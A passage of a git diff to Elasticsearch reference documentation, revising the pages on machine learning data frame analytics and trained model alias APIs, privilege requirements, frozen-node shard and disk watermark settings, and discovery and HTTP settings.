+include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics] + +[[ml-preview-dfanalytics-request-body]] +== {api-request-body-title} + +`config`:: +(Optional, object) +A {dataframe-analytics-config} as described in <>. +Note that `id` and `dest` don't need to be provided in the context of this API. + +[role="child_attributes"] +[[ml-preview-dfanalytics-results]] +== {api-response-body-title} + +The API returns a response that contains the following: + +`feature_values`:: +(array) +An array of objects that contain feature name and value pairs. The features have +been processed and indicate what will be sent to the model for training. + +[[ml-preview-dfanalytics-example]] +== {api-examples-title} + +[source,console] +-------------------------------------------------- +POST _ml/data_frame/analytics/_preview +{ + "config": { + "source": { + "index": "houses_sold_last_10_yrs" + }, + "analysis": { + "regression": { + "dependent_variable": "price" + } + } + } +} +-------------------------------------------------- +// TEST[skip:TBD] + +The API returns the following results: + +[source,console-result] +---- +{ + "feature_values": [ + { + "number_of_bedrooms": "1", + "postcode": "29655", + "price": "140.4" + }, + ... + ] +} +---- diff --git a/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc index 848b6eb767304..64aa29376b5b7 100644 --- a/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/put-dfanalytics.asciidoc @@ -9,7 +9,6 @@ Instantiates a {dfanalytics-job}. -beta::[] [[ml-put-dfanalytics-request]] == {api-request-title} @@ -20,17 +19,14 @@ beta::[] [[ml-put-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: -* `machine_learning_admin` +Requires the following privileges: + +* cluster: `manage_ml` (the `machine_learning_admin` built-in role grants this + privilege) * source indices: `read`, `view_index_metadata` * destination index: `read`, `create_index`, `manage` and `index` -For more information, see <>, <>, and -{ml-docs-setup-privileges}. - - NOTE: The {dfanalytics-job} remembers which roles the user who created it had at the time of creation. When you start the job, it performs the analysis using those same roles. If you provide @@ -462,8 +458,8 @@ may contain documents that don't have an {olscore}. * {regression-cap} supports fields that are numeric, `boolean`, `text`, `keyword`, and `ip`. It is also tolerant of missing values. Fields that are supported are included in the analysis, other fields are ignored. Documents -where included fields contain an array with two or more values are also -ignored. Documents in the `dest` index that don’t contain a results field are +where included fields contain an array with two or more values are also +ignored. Documents in the `dest` index that don’t contain a results field are not included in the {reganalysis}. * {classification-cap} supports fields that are numeric, `boolean`, `text`, `keyword`, and `ip`. It is also tolerant of missing values. Fields that are @@ -471,7 +467,7 @@ supported are included in the analysis, other fields are ignored. Documents where included fields contain an array with two or more values are also ignored. Documents in the `dest` index that don’t contain a results field are not included in the {classanalysis}. {classanalysis-cap} can be improved by mapping -ordinal variable values to a single number. For example, in case of age ranges, +ordinal variable values to a single number. For example, in case of age ranges, you can model the values as "0-14" = 0, "15-24" = 1, "25-34" = 2, and so on. If `analyzed_fields` is not set, only the relevant fields will be included. For @@ -513,12 +509,7 @@ functionality other than the analysis itself. `model_memory_limit`:: (Optional, string) -The approximate maximum amount of memory resources that are permitted for -analytical processing. The default value for {dfanalytics-jobs} is `1gb`. If -your `elasticsearch.yml` file contains an `xpack.ml.max_model_memory_limit` -setting, an error occurs when you try to create {dfanalytics-jobs} that have -`model_memory_limit` values greater than that setting. For more information, see -<>. +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit-dfa] `source`:: (object) diff --git a/docs/reference/ml/df-analytics/apis/put-trained-models-aliases.asciidoc b/docs/reference/ml/df-analytics/apis/put-trained-models-aliases.asciidoc index 6869af8fbc427..42262dd04c8ad 100644 --- a/docs/reference/ml/df-analytics/apis/put-trained-models-aliases.asciidoc +++ b/docs/reference/ml/df-analytics/apis/put-trained-models-aliases.asciidoc @@ -1,17 +1,16 @@ [role="xpack"] [testenv="platinum"] [[put-trained-models-aliases]] -= Put Trained Models Aliases API += Create or update trained model aliases API [subs="attributes"] ++++ -Put Trained Models Aliases +Create or update trained model aliases ++++ -Creates a trained models alias. These model aliases can be used instead of the trained model ID -when referencing the model in the stack. Model aliases must be unique, and a trained model can have -more than one model alias referring to it. But a model alias can only refer to a single trained model. -beta::[] +Creates or updates a trained model alias. + +A trained model alias is a logical name used to reference a single trained model. [[ml-put-trained-models-aliases-request]] == {api-request-title} @@ -22,54 +21,58 @@ beta::[] [[ml-put-trained-models-aliases-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: - -* `machine_learning_admin` +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. -For more information, see <>, <>, and -{ml-docs-setup-privileges}. [[ml-put-trained-models-aliases-desc]] == {api-description-title} -This API creates a new model alias to refer to trained models, or updates an existing -trained model's alias. +You can use aliases instead of trained model identifiers to make it easier to +reference your models. For example, you can use aliases in {infer} aggregations +and processors. -When updating an existing model alias to a new model ID, this API will return a error if the models -are of different inference types. Example, if attempting to put the model alias -`flights-delay-prediction` from a regression model to a classification model, the API will error. +An alias must be unique and refer to only a single trained model. However, +you can have multiple aliases for each trained model. -The API will return a warning if there are very few input fields in common between the old -and new models for the model alias. +If you use this API to update an alias such that it references a different +trained model ID and the model uses a different type of {dfanalytics}, an error +occurs. For example, this situation occurs if you have a trained model for +{reganalysis} and a trained model for {classanalysis}; you cannot reassign an +alias from one type of trained model to another. + +If you use this API to update an alias and there are very few input fields in +common between the old and new trained models for the model alias, the API +returns a warning. [[ml-put-trained-models-aliases-path-params]] == {api-path-parms-title} -`model_id`:: +`model_alias`:: (Required, string) -The trained model ID to which the model alias should refer. +The alias to create or update. This value cannot end in numbers. -`model_alias`:: +`model_id`:: (Required, string) -The model alias to create or update. The model_alias cannot end in numbers. +The identifier for the trained model that the alias refers to. [[ml-put-trained-models-aliases-query-params]] == {api-query-parms-title} `reassign`:: (Optional, boolean) -Should the `model_alias` get reassigned to the provided `model_id` if it is already -assigned to a model. Defaults to false. The API will return an error if the `model_alias` -is already assigned to a model but this parameter is `false`. +Specifies whether the alias gets reassigned to the specified trained model if it +is already assigned to a different model. If the alias is already assigned and +this parameter is `false`, the API returns an error. Defaults to `false`. [[ml-put-trained-models-aliases-example]] == {api-examples-title} [[ml-put-trained-models-aliases-example-new-alias]] -=== Creating a new model alias +=== Create a trained model alias -The following example shows how to create a new model alias for a trained model ID. +The following example shows how to create an alias (`flight_delay_model`) for a +trained model (`flight-delay-prediction-1574775339910`): [source,console] -------------------------------------------------- @@ -78,9 +81,10 @@ PUT _ml/trained_models/flight-delay-prediction-1574775339910/model_aliases/fligh // TEST[skip:setup kibana sample data] [[ml-put-trained-models-aliases-example-put-alias]] -=== Updating an existing model alias +=== Update a trained model alias -The following example shows how to reassign an existing model alias for a trained model ID. +The following example shows how to reassign an alias (`flight_delay_model`) to a +different trained model (`flight-delay-prediction-1580004349800`): [source,console] -------------------------------------------------- diff --git a/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc b/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc index ec804a583cd93..9f4b63d1283d4 100644 --- a/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc +++ b/docs/reference/ml/df-analytics/apis/put-trained-models.asciidoc @@ -15,9 +15,6 @@ WARNING: Models created in version 7.8.0 are not backwards compatible a 7.8.0 node. -beta::[] - - [[ml-put-trained-models-request]] == {api-request-title} @@ -27,12 +24,8 @@ beta::[] [[ml-put-trained-models-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles or equivalent privileges: - -* `machine_learning_admin` - -For more information, see <> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-put-trained-models-desc]] diff --git a/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc index 84f810c71df3d..1405caddcacf5 100644 --- a/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/start-dfanalytics.asciidoc @@ -10,7 +10,6 @@ Starts a {dfanalytics-job}. -beta::[] [[ml-start-dfanalytics-request]] == {api-request-title} @@ -20,15 +19,13 @@ beta::[] [[ml-start-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: +Requires the following privileges: -* `machine_learning_admin` +* cluster: `manage_ml` (the `machine_learning_admin` built-in role grants this + privilege) * source indices: `read`, `view_index_metadata` * destination index: `read`, `create_index`, `manage` and `index` -For more information, see <>, <>, and -{ml-docs-setup-privileges}. [[ml-start-dfanalytics-desc]] == {api-description-title} diff --git a/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc index 9e74be7038073..a0c50b0fb9576 100644 --- a/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/stop-dfanalytics.asciidoc @@ -10,7 +10,6 @@ Stops one or more {dfanalytics-jobs}. -beta::[] [[ml-stop-dfanalytics-request]] == {api-request-title} @@ -24,12 +23,8 @@ beta::[] [[ml-stop-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles or equivalent privileges: - -* `machine_learning_admin` - -For more information, see <> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-stop-dfanalytics-desc]] diff --git a/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc index 31a11b1479a17..0711edf4bb0a7 100644 --- a/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc @@ -9,7 +9,6 @@ Updates an existing {dfanalytics-job}. -beta::[] [[ml-update-dfanalytics-request]] == {api-request-title} @@ -20,15 +19,12 @@ beta::[] [[ml-update-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: +Requires the following privileges: -* `machine_learning_admin` +* cluster: `manage_ml` (the `machine_learning_admin` built-in role grants this + privilege) * source indices: `read`, `view_index_metadata` * destination index: `read`, `create_index`, `manage` and `index` - -For more information, see <>, <>, and -{ml-docs-setup-privileges}. NOTE: The {dfanalytics-job} remembers which roles the user who updated it had at the time of the update. When you start the job, it performs the analysis using @@ -36,6 +32,7 @@ those same roles. If you provide <>, those credentials are used instead. + [[ml-update-dfanalytics-desc]] == {api-description-title} @@ -78,12 +75,7 @@ functionality other than the analysis itself. `model_memory_limit`:: (Optional, string) -The approximate maximum amount of memory resources that are permitted for -analytical processing. The default value for {dfanalytics-jobs} is `1gb`. If -your `elasticsearch.yml` file contains an `xpack.ml.max_model_memory_limit` -setting, an error occurs when you try to create {dfanalytics-jobs} that have -`model_memory_limit` values greater than that setting. For more information, see -<>. +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit-dfa] [[ml-update-dfanalytics-example]] == {api-examples-title} diff --git a/docs/reference/ml/images/ml-anomaly-alert-actions.jpg b/docs/reference/ml/images/ml-anomaly-alert-actions.jpg new file mode 100644 index 0000000000000..a0b75152ca71f Binary files /dev/null and b/docs/reference/ml/images/ml-anomaly-alert-actions.jpg differ diff --git a/docs/reference/ml/images/ml-anomaly-alert-messages.jpg b/docs/reference/ml/images/ml-anomaly-alert-messages.jpg new file mode 100644 index 0000000000000..de5da557dd116 Binary files /dev/null and b/docs/reference/ml/images/ml-anomaly-alert-messages.jpg differ diff --git a/docs/reference/ml/images/ml-anomaly-alert-severity.jpg b/docs/reference/ml/images/ml-anomaly-alert-severity.jpg new file mode 100644 index 0000000000000..0ad03eae066d6 Binary files /dev/null and b/docs/reference/ml/images/ml-anomaly-alert-severity.jpg differ diff --git a/docs/reference/ml/images/ml-anomaly-alert-type.jpg b/docs/reference/ml/images/ml-anomaly-alert-type.jpg new file mode 100644 index 0000000000000..eff726155c327 Binary files /dev/null and b/docs/reference/ml/images/ml-anomaly-alert-type.jpg differ diff --git a/docs/reference/ml/images/ml-runtimefields.jpg b/docs/reference/ml/images/ml-runtimefields.jpg new file mode 100644 index 0000000000000..f1f85af52d485 Binary files /dev/null and b/docs/reference/ml/images/ml-runtimefields.jpg differ diff --git a/docs/reference/ml/ml-shared.asciidoc b/docs/reference/ml/ml-shared.asciidoc index e5db0be318861..f731a4068c0a3 100644 --- a/docs/reference/ml/ml-shared.asciidoc +++ b/docs/reference/ml/ml-shared.asciidoc @@ -229,7 +229,7 @@ end::categorization-analyzer[] tag::categorization-examples-limit[] The maximum number of examples stored per category in memory and in the results -data store. The default value is 4. If you increase this value, more examples +data store. The default value is 4. If you increase this value, more examples are available, however it requires that you have more storage available. If you set this value to `0`, no examples are stored. + @@ -335,7 +335,8 @@ end::custom-preprocessor[] tag::custom-rules[] An array of custom rule objects, which enable you to customize the way detectors operate. For example, a rule may dictate to the detector conditions under which -results should be skipped. For more examples, see +results should be skipped. {kib} refers to custom rules as _job rules_. For more +examples, see {ml-docs}/ml-configuring-detector-custom-rules.html[Customizing detectors with custom rules]. end::custom-rules[] @@ -560,7 +561,7 @@ end::dfas-downsample-factor[] tag::dfas-early-stopping-enabled[] Advanced configuration option. Specifies whether the training process should finish if it is not finding any -better perfoming models. If disabled, the training process can take significantly +better performing models. If disabled, the training process can take significantly longer and the chance of finding a better performing model is unremarkable. By default, early stoppping is enabled. end::dfas-early-stopping-enabled[] @@ -863,8 +864,8 @@ An array of index names. Wildcards are supported. For example: `["it_ops_metrics", "server*"]`. + -- -NOTE: If any indices are in remote clusters then `node.remote_cluster_client` -must not be set to `false` on any {ml} nodes. +NOTE: If any indices are in remote clusters then the {ml} nodes need to have the +`remote_cluster_client` role. -- end::indices[] @@ -1101,6 +1102,11 @@ the forest. The maximum value is 2000. By default, this value is calculated during hyperparameter optimization. end::max-trees[] +tag::max-trees-trained-models[] +The maximum number of decision trees in the forest. The maximum value is 2000. +By default, this value is calculated during hyperparameter optimization. +end::max-trees-trained-models[] + tag::method[] The method that {oldetection} uses. Available methods are `lof`, `ldof`, `distance_kth_nn`, `distance_knn`, and `ensemble`. The default value is @@ -1153,15 +1159,16 @@ tag::model-id-or-alias[] The unique identifier of the trained model or a model alias. end::model-id-or-alias[] -tag::model-memory-limit[] +tag::model-memory-limit-ad[] The approximate maximum amount of memory resources that are required for analytical processing. Once this limit is approached, data pruning becomes more aggressive. Upon exceeding this limit, new entities are not modeled. The -default value for jobs created in version 6.1 and later is `1024mb`. -This value will need to be increased for jobs that are expected to analyze high -cardinality fields, but the default is set to a relatively small size to ensure -that high resource usage is a conscious decision. The default value for jobs -created in versions earlier than 6.1 is `4096mb`. +default value for jobs created in version 6.1 and later is `1024mb`. If the +`xpack.ml.max_model_memory_limit` setting has a value greater than `0` and less +than `1024mb`, however, that value is used instead. The default value is +relatively small to ensure that high resource usage is a conscious decision. If +you have jobs that are expected to analyze high cardinality fields, you will +likely need to use a higher value. + If you specify a number instead of a string, the units are assumed to be MiB. Specifying a string is recommended for clarity. If you specify a byte size unit @@ -1170,16 +1177,24 @@ it is rounded down to the closest MiB. The minimum valid value is 1 MiB. If you specify a value less than 1 MiB, an error occurs. For more information about supported byte size units, see <>. + -If your `elasticsearch.yml` file contains an `xpack.ml.max_model_memory_limit` -setting, an error occurs when you try to create jobs that have -`model_memory_limit` values greater than that setting. For more information, -see <>. -end::model-memory-limit[] +If you specify a value for the `xpack.ml.max_model_memory_limit` setting, an +error occurs when you try to create jobs that have `model_memory_limit` values +greater than that setting value. For more information, see <>. +end::model-memory-limit-ad[] tag::model-memory-limit-anomaly-jobs[] The upper limit for model memory usage, checked on increasing values. end::model-memory-limit-anomaly-jobs[] +tag::model-memory-limit-dfa[] +The approximate maximum amount of memory resources that are permitted for +analytical processing. The default value for {dfanalytics-jobs} is `1gb`. If +you specify a value for the `xpack.ml.max_model_memory_limit` setting, an error +occurs when you try to create jobs that have `model_memory_limit` values greater +than that setting value. For more information, see +<>. +end::model-memory-limit-dfa[] + tag::model-memory-status[] The status of the mathematical models, which can have one of the following values: @@ -1312,11 +1327,12 @@ For open jobs only, the elapsed time for which the job has been open. end::open-time[] tag::out-of-order-timestamp-count[] -The number of input documents that are out of time sequence and outside -of the latency window. This information is applicable only when you provide data -to the {anomaly-job} by using the <>. These out of -order documents are discarded, since jobs require time series data to be in -ascending chronological order. +The number of input documents that have a timestamp chronologically +preceding the start of the current anomaly detection bucket offset by +the latency window. This information is applicable only when you provide +data to the {anomaly-job} by using the <>. +These out of order documents are discarded, since jobs require time +series data to be in ascending chronological order. end::out-of-order-timestamp-count[] tag::outlier-fraction[] diff --git a/docs/reference/modules/cluster/disk_allocator.asciidoc b/docs/reference/modules/cluster/disk_allocator.asciidoc index fc6d9f15eb09c..1da56a6de7a53 100644 --- a/docs/reference/modules/cluster/disk_allocator.asciidoc +++ b/docs/reference/modules/cluster/disk_allocator.asciidoc @@ -36,7 +36,7 @@ If a node is filling up its disk faster than {es} can move shards elsewhere then there is a risk that the disk will completely fill up. To prevent this, as a last resort, once the disk usage reaches the _flood-stage_ watermark {es} will block writes to indices with a shard on the affected node. It will also -continue to move shards onto the other nodes in the cluster. When disk usage +continue to move shards onto the other nodes in the cluster. When disk usage on the affected node drops below the high watermark, {es} automatically removes the write block. @@ -65,7 +65,7 @@ You can use the following settings to control disk-based allocation: // tag::cluster-routing-disk-threshold-tag[] `cluster.routing.allocation.disk.threshold_enabled` {ess-icon}:: (<>) -Defaults to `true`. Set to `false` to disable the disk allocation decider. +Defaults to `true`. Set to `false` to disable the disk allocation decider. // end::cluster-routing-disk-threshold-tag[] [[cluster-routing-watermark-low]] @@ -113,6 +113,20 @@ PUT /my-index-000001/_settings -- // end::cluster-routing-flood-stage-tag[] +[[cluster-routing-flood-stage-frozen]] +// tag::cluster-routing-flood-stage-tag[] +`cluster.routing.allocation.disk.watermark.flood_stage.frozen` {ess-icon}:: +(<>) +Controls the flood stage watermark for dedicated frozen nodes, which defaults to +95%. + +`cluster.routing.allocation.disk.watermark.flood_stage.frozen.max_headroom` {ess-icon}:: +(<>) +Controls the max headroom for the flood stage watermark for dedicated frozen +nodes. Defaults to 20GB when +`cluster.routing.allocation.disk.watermark.flood_stage.frozen` is not explicitly +set. This caps the amount of free space required on dedicated frozen nodes. + `cluster.info.update.interval`:: (<>) How often {es} should check on disk usage for each node in the diff --git a/docs/reference/modules/cluster/misc.asciidoc b/docs/reference/modules/cluster/misc.asciidoc index a12e8ca390a67..a447b49c6058e 100644 --- a/docs/reference/modules/cluster/misc.asciidoc +++ b/docs/reference/modules/cluster/misc.asciidoc @@ -45,11 +45,13 @@ either the limit is increased as described below, or some indices are <> or <> to bring the number of shards below the limit. -The cluster shard limit defaults to 1,000 shards per data node. -Both primary and replica shards of all open indices count toward the limit, -including unassigned shards. -For example, an open index with 5 primary shards and 2 replicas counts as 15 shards. -Closed indices do not contribute to the shard count. +The cluster shard limit defaults to 1,000 shards per non-frozen data node for +normal (non-frozen) indices and 3000 shards per frozen data node for frozen +indices. +Both primary and replica shards of all open indices count toward the limit, +including unassigned shards. +For example, an open index with 5 primary shards and 2 replicas counts as 15 shards. +Closed indices do not contribute to the shard count. You can dynamically adjust the cluster shard limit with the following setting: @@ -61,7 +63,7 @@ You can dynamically adjust the cluster shard limit with the following setting: Limits the total number of primary and replica shards for the cluster. {es} calculates the limit as follows: -`cluster.max_shards_per_node * number of data nodes` +`cluster.max_shards_per_node * number of non-frozen data nodes` Shards for closed indices do not count toward this limit. Defaults to `1000`. A cluster with no data nodes is unlimited. @@ -71,7 +73,29 @@ example, a cluster with a `cluster.max_shards_per_node` setting of `100` and three data nodes has a shard limit of 300. If the cluster already contains 296 shards, {es} rejects any request that adds five or more shards to the cluster. -NOTE: This setting does not limit shards for individual nodes. To limit the +Notice that frozen shards have their own independent limit. +-- + +[[cluster-max-shards-per-node-frozen]] +`cluster.max_shards_per_node.frozen`:: ++ +-- +(<>) +Limits the total number of primary and replica frozen shards for the cluster. +{es} calculates the limit as follows: + +`cluster.max_shards_per_node * number of frozen data nodes` + +Shards for closed indices do not count toward this limit. Defaults to `3000`. +A cluster with no frozen data nodes is unlimited. + +{es} rejects any request that creates more frozen shards than this limit allows. +For example, a cluster with a `cluster.max_shards_per_node.frozen` setting of +`100` and three frozen data nodes has a frozen shard limit of 300. If the +cluster already contains 296 shards, {es} rejects any request that adds five or +more frozen shards to the cluster. + +NOTE: These setting do not limit shards for individual nodes. To limit the number of shards for each node, use the <> setting. @@ -83,7 +107,7 @@ setting. User-defined metadata can be stored and retrieved using the Cluster Settings API. This can be used to store arbitrary, infrequently-changing data about the cluster without the need to create an index to store it. This data may be stored using -any key prefixed with `cluster.metadata.`. For example, to store the email +any key prefixed with `cluster.metadata.`. For example, to store the email address of the administrator of a cluster under the key `cluster.metadata.administrator`, issue this request: @@ -107,7 +131,7 @@ metadata will be viewable by anyone with access to the ===== Index tombstones The cluster state maintains index tombstones to explicitly denote indices that -have been deleted. The number of tombstones maintained in the cluster state is +have been deleted. The number of tombstones maintained in the cluster state is controlled by the following setting: `cluster.indices.tombstones.size`:: @@ -128,7 +152,7 @@ this situation. ===== Logger The settings which control logging can be updated <> with the -`logger.` prefix. For instance, to increase the logging level of the +`logger.` prefix. For instance, to increase the logging level of the `indices.recovery` module to `DEBUG`, issue this request: [source,console] diff --git a/docs/reference/modules/cluster/shards_allocation.asciidoc b/docs/reference/modules/cluster/shards_allocation.asciidoc index e26e732e3455e..91833fc364aa5 100644 --- a/docs/reference/modules/cluster/shards_allocation.asciidoc +++ b/docs/reference/modules/cluster/shards_allocation.asciidoc @@ -16,7 +16,7 @@ Enable or disable allocation for specific kinds of shards: * `none` - No shard allocations of any kind are allowed for any indices. This setting does not affect the recovery of local primary shards when -restarting a node. A restarted node that has a copy of an unassigned primary +restarting a node. A restarted node that has a copy of an unassigned primary shard will recover that primary immediately, assuming that its allocation id matches one of the active allocation ids in the cluster state. @@ -43,9 +43,9 @@ one of the active allocation ids in the cluster state. While the recovery of replicas happens over the network, the recovery of an unassigned primary after node restart uses data from the local disk. These should be fast so more initial primary recoveries can happen in - parallel on the same node. Defaults to `4`. - + parallel on the same node. Defaults to `4`. +[[cluster-routing-allocation-same-shard-host]] `cluster.routing.allocation.same_shard.host`:: (<>) Allows to perform a check to prevent allocation of multiple instances of @@ -62,7 +62,7 @@ an automatic process called _rebalancing_ which moves shards between the nodes in your cluster to improve its balance. Rebalancing obeys all other shard allocation rules such as <> and <> which may prevent it from -completely balancing the cluster. In that case, rebalancing strives to acheve +completely balancing the cluster. In that case, rebalancing strives to achieve the most balanced cluster possible within the rules you have configured. If you are using <> then {es} automatically applies allocation filtering rules to place each shard within the appropriate tier. These rules @@ -119,20 +119,20 @@ calculations. `cluster.routing.allocation.balance.shard`:: (<>) Defines the weight factor for the total number of shards allocated on a node - (float). Defaults to `0.45f`. Raising this raises the tendency to + (float). Defaults to `0.45f`. Raising this raises the tendency to equalize the number of shards across all nodes in the cluster. `cluster.routing.allocation.balance.index`:: (<>) Defines the weight factor for the number of shards per index allocated - on a specific node (float). Defaults to `0.55f`. Raising this raises the + on a specific node (float). Defaults to `0.55f`. Raising this raises the tendency to equalize the number of shards per index across all nodes in the cluster. `cluster.routing.allocation.balance.threshold`:: (<>) Minimal optimization value of operations that should be performed (non - negative float). Defaults to `1.0f`. Raising this will cause the cluster + negative float). Defaults to `1.0f`. Raising this will cause the cluster to be less aggressive about optimizing the shard balance. diff --git a/docs/reference/modules/discovery/bootstrapping.asciidoc b/docs/reference/modules/discovery/bootstrapping.asciidoc index 510dd92c9898c..c6e21fe70b98d 100644 --- a/docs/reference/modules/discovery/bootstrapping.asciidoc +++ b/docs/reference/modules/discovery/bootstrapping.asciidoc @@ -113,7 +113,7 @@ automatically bootstrap a cluster based on the nodes that could be discovered to be running on the same host within a short time after startup. This means that by default it is possible to start up several nodes on a single machine and have them automatically form a cluster which is very useful for development -environments and experimentation. However, since nodes may not always +environments and experimentation. However, since nodes may not always successfully discover each other quickly enough this automatic bootstrapping cannot be relied upon and cannot be used in production deployments. diff --git a/docs/reference/modules/discovery/discovery-settings.asciidoc b/docs/reference/modules/discovery/discovery-settings.asciidoc index 9aa11163225cc..b66b336cbb428 100644 --- a/docs/reference/modules/discovery/discovery-settings.asciidoc +++ b/docs/reference/modules/discovery/discovery-settings.asciidoc @@ -85,6 +85,12 @@ handshake. Defaults to `30s`. Sets how long a node will wait after asking its peers again before considering the request to have failed. Defaults to `3s`. +`discovery.find_peers_warning_timeout`:: +(<>) +Sets how long a node will attempt to discover its peers before it starts to log +verbose messages describing why the connection attempts are failing. Defaults +to `5m`. + `discovery.seed_resolver.max_concurrent_resolvers`:: (<>) Specifies how many concurrent DNS lookups to perform when resolving the @@ -113,7 +119,7 @@ to elect a master node. `cluster.election.duration`:: (<>) Sets how long each election is allowed to take before a node considers it to -have failed and schedules a retry. This defaults to `500ms`. Changing this +have failed and schedules a retry. This defaults to `500ms`. Changing this setting from the default may cause your cluster to fail to elect a master node. `cluster.election.initial_timeout`:: @@ -202,7 +208,7 @@ cluster. This setting has three valid values: -- `all`::: All operations on the node (both read and write operations) are rejected. This also applies for API cluster state read or write operations, like the get -index settings, put mapping and cluster state API. +index settings, update mapping, and cluster state API. `write`::: (default) Write operations are rejected. Read operations succeed, based on the last known cluster configuration. This situation may result in diff --git a/docs/reference/modules/discovery/discovery.asciidoc b/docs/reference/modules/discovery/discovery.asciidoc index 0c5057486def8..f55f42a6aead8 100644 --- a/docs/reference/modules/discovery/discovery.asciidoc +++ b/docs/reference/modules/discovery/discovery.asciidoc @@ -32,7 +32,7 @@ these occur quickly enough then the node will retry after By default the cluster formation module offers two seed hosts providers to configure the list of seed nodes: a _settings_-based and a _file_-based seed -hosts provider. It can be extended to support cloud environments and other +hosts provider. It can be extended to support cloud environments and other forms of seed hosts providers via {plugins}/discovery.html[discovery plugins]. Seed hosts providers are configured using the `discovery.seed_providers` setting, which defaults to the _settings_-based hosts provider. This setting @@ -107,7 +107,7 @@ supplied in `unicast_hosts.txt`. The `unicast_hosts.txt` file contains one node entry per line. Each node entry consists of the host (host name or IP address) and an optional transport port number. If the port number is specified, is must come immediately after the -host (on the same line) separated by a `:`. If the port number is not +host (on the same line) separated by a `:`. If the port number is not specified, {es} will implicitly use the first port in the port range given by `transport.profiles.default.port`, or by `transport.port` if `transport.profiles.default.port` is not set. diff --git a/docs/reference/modules/discovery/publishing.asciidoc b/docs/reference/modules/discovery/publishing.asciidoc index 8452f0cd04f87..208386946d3fb 100644 --- a/docs/reference/modules/discovery/publishing.asciidoc +++ b/docs/reference/modules/discovery/publishing.asciidoc @@ -5,7 +5,7 @@ The master node is the only node in a cluster that can make changes to the cluster state. The master node processes one batch of cluster state updates at a time, computing the required changes and publishing the updated cluster state to all the other nodes in the cluster. Each publication starts with the master -broadcasting the updated cluster state to all nodes in the cluster. Each node +broadcasting the updated cluster state to all nodes in the cluster. Each node responds with an acknowledgement but does not yet apply the newly-received state. Once the master has collected acknowledgements from enough master-eligible nodes, the new cluster state is said to be _committed_ and the diff --git a/docs/reference/modules/discovery/quorums.asciidoc b/docs/reference/modules/discovery/quorums.asciidoc index 5cf9438544c63..11aa906458578 100644 --- a/docs/reference/modules/discovery/quorums.asciidoc +++ b/docs/reference/modules/discovery/quorums.asciidoc @@ -22,7 +22,7 @@ tolerance by updating the cluster's <>, which is the set of master-eligible nodes whose responses are counted when making decisions such as electing a new master or committing a new cluster state. A decision is made only after more than half of the nodes in the -voting configuration have responded. Usually the voting configuration is the +voting configuration have responded. Usually the voting configuration is the same as the set of all the master-eligible nodes that are currently in the cluster. However, there are some situations in which they may be different. diff --git a/docs/reference/modules/http.asciidoc b/docs/reference/modules/http.asciidoc index 6b96a4a47d5ed..0bedafeafef86 100644 --- a/docs/reference/modules/http.asciidoc +++ b/docs/reference/modules/http.asciidoc @@ -186,3 +186,7 @@ Defaults to `network.tcp.send_buffer_size`. (<>) The size of the TCP receive buffer (specified with <>). Defaults to `network.tcp.receive_buffer_size`. + +`http.client_stats.enabled`:: +(<>) +Enable or disable collection of HTTP client stats. Defaults to `true`. diff --git a/docs/reference/modules/indices/index_management.asciidoc b/docs/reference/modules/indices/index_management.asciidoc index 05c1c6cf669b7..cda08db2b9eb1 100644 --- a/docs/reference/modules/indices/index_management.asciidoc +++ b/docs/reference/modules/indices/index_management.asciidoc @@ -38,7 +38,7 @@ Specifies the hosts that can be <>. + -- (<>) -If `true`, enables built-in index and component templates. The +If `true`, enables built-in index and component templates. {fleet-guide}/fleet-overview.html[{agent}] uses these templates to create data streams. If `false`, {es} disables these index and component templates. Defaults to `true`. diff --git a/docs/reference/modules/indices/indexing_buffer.asciidoc b/docs/reference/modules/indices/indexing_buffer.asciidoc index 0269221f8a380..ab5e511267c05 100644 --- a/docs/reference/modules/indices/indexing_buffer.asciidoc +++ b/docs/reference/modules/indices/indexing_buffer.asciidoc @@ -1,7 +1,7 @@ [[indexing-buffer]] === Indexing buffer settings -The indexing buffer is used to store newly indexed documents. When it fills +The indexing buffer is used to store newly indexed documents. When it fills up, the documents in the buffer are written to a segment on disk. It is divided between all shards on the node. @@ -17,9 +17,9 @@ indexing buffer size shared across all shards. `indices.memory.min_index_buffer_size`:: (<>) If the `index_buffer_size` is specified as a percentage, then this -setting can be used to specify an absolute minimum. Defaults to `48mb`. +setting can be used to specify an absolute minimum. Defaults to `48mb`. `indices.memory.max_index_buffer_size`:: (<>) If the `index_buffer_size` is specified as a percentage, then this -setting can be used to specify an absolute maximum. Defaults to unbounded. +setting can be used to specify an 